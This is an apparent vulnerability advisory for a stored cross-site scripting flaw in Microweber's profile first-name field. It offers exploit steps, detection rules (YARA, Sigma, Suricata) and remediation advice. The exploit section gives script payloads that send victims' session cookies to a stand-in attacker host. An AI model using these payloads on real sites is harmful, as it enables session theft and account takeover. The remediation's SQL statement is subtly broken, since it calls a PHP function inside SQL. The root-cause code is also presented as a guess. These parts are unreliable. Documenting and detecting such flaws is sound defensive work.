CVE-2024-58289
Executive Summary
CVE-2024-58289 is a stored cross-site scripting (XSS) vulnerability in Microweber 2.0.15, a popular open-source content management system. An authenticated attacker can inject malicious JavaScript into the user profile's first name field. When other users view the attacker's profile, the injected script executes in their browser, potentially leading to session cookie theft, account takeover, or arbitrary JavaScript execution. The vulnerability has a low CVSS score of 4.8 due to the requirement for authentication and user interaction, but the impact is significant in multi-user environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must be authenticated
- User Interaction: Required (UI:R) – victim must view the attacker's profile
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – potential cookie theft
- Integrity Impact: Low (I:L) – script execution
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires authentication and user interaction, but in a CMS with many users, a single malicious profile can compromise multiple sessions.
Deep Dive & Mechanics
The vulnerability resides in the user profile editing functionality of Microweber 2.0.15. The application fails to sanitize or encode user input in the "first name" field before storing it in the database. When the profile is rendered for other users, the stored payload is injected into the HTML without proper escaping, allowing script execution.
Attack Flow:
- Attacker logs in and navigates to their profile settings.
- Attacker sets the "first name" field to a payload like
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- Victim user views the attacker's profile (e.g., via user directory or direct link).
- The victim's browser executes the script, which can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: Lack of output encoding in the profile view template. The application likely uses echo $firstName; instead of echo htmlspecialchars($firstName, ENT_QUOTES, 'UTF-8');.
Vulnerable vs. Patched Code
Vulnerable Code (Microweber 2.0.15):
// In profile view template (e.g., user_profile.php)
<div class="user-name"><?php echo $user['first_name']; ?></div>
Patched Code (Hypothetical fix):
<div class="user-name"><?php echo htmlspecialchars($user['first_name'], ENT_QUOTES, 'UTF-8'); ?></div>
The vulnerable code directly outputs the stored value without HTML encoding, allowing script injection. The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing XSS.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Microweber 2.0.15 instance
- Valid user account (attacker)
- Victim user account
Exploit Steps:
- Log in as attacker.
- Navigate to profile settings:
/user/settings. - Set first name to:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save profile.
- Send victim a link to attacker's profile:
/user/profile/attacker_username. - Victim views profile, script executes, cookie is sent to attacker's server.
Proof-of-Concept Payload:
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual profile update requests containing
<script>tags. - Check web server logs for requests to
/user/settingswith suspicious payloads. - Use WAF rules to block XSS patterns in profile fields.
Prevention:
- Apply input validation: reject or sanitize HTML tags in name fields.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use output encoding in all templates.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/user/settingswithfirst_namecontaining<script>tags. - Outbound HTTP requests to attacker-controlled domains from victim browsers.
File IOCs:
- Database entries in
userstable withfirst_namecontaining JavaScript payloads.
Log IOCs:
- Web server logs showing
POST /user/settingswithfirst_name=<script>. - Application logs showing profile updates with suspicious content.
Detection Engineering
YARA Rule
rule detect_microweber_xss_profile {
meta:
description = "Detects XSS payloads in Microweber profile fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-58289"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$profile_field = /first_name|last_name|bio/
condition:
$xss_payload and $profile_field
}
Sigma Rule
title: Microweber Stored XSS in Profile Fields
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Microweber profile update requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/user/settings'
cs-uri-query|contains: 'first_name'
cs-uri-query|re: '<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of script tags in bio (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-58289 Microweber Stored XSS Profile Field"; flow:to_server; content:"POST"; http_method; content:"/user/settings"; http_uri; content:"first_name"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable profile editing for untrusted users if possible.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in profile fields. - Manually sanitize existing database entries:
UPDATE users SET first_name = htmlspecialchars(first_name) WHERE first_name LIKE '%<script%';
Long-term Fix:
- Upgrade to a patched version of Microweber (if available).
- Apply output encoding in all user-facing templates.
- Implement Content Security Policy (CSP) with
script-src 'self'to block inline scripts. - Conduct code review for similar XSS vulnerabilities in other fields.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter XSS payloads:
location /user/settings {
if ($request_body ~* "<script[^>]*>") {
return 403;
}
}
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert